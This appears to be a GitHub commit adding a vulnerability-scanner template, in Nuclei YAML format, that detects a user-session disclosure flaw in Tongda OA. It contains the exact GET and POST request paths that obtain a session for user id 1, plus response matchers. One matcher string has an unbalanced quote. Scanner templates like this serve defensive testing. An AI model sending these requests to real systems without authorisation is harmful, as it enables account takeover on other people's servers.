Create tongda-user-session-disclosure.yaml

patch-1
Ritik Chaddha 2022-04-08 13:42:20 +05:30 committed by GitHub
parent 2cc1186a41
commit 4333ef4f89
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 36 additions and 0 deletions

View File

@ -0,0 +1,36 @@
id: tongda-user-session-disclosure
info:
name: Tongda User Session Disclosure
author: ritikchaddha
severity: medium
reference: https://mp.weixin.qq.com/s/llyGEBRo0t-C7xOLMDYfFQ
tags: tongda,usersession,disclosure
requests:
- method: GET
path:
- "{{BaseURL}}/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0"
- method: POST
path:
- "{{BaseURL}}/general/userinfo.php?UID=1"
redirects: false
matchers-condition: and
matchers:
- type: word
words:
- "\"dept_name\":\""
- ""online_flag\":"
part: body
- type: word
words:
- "application/json"
part: header
condition: and
- type: status
status:
- 200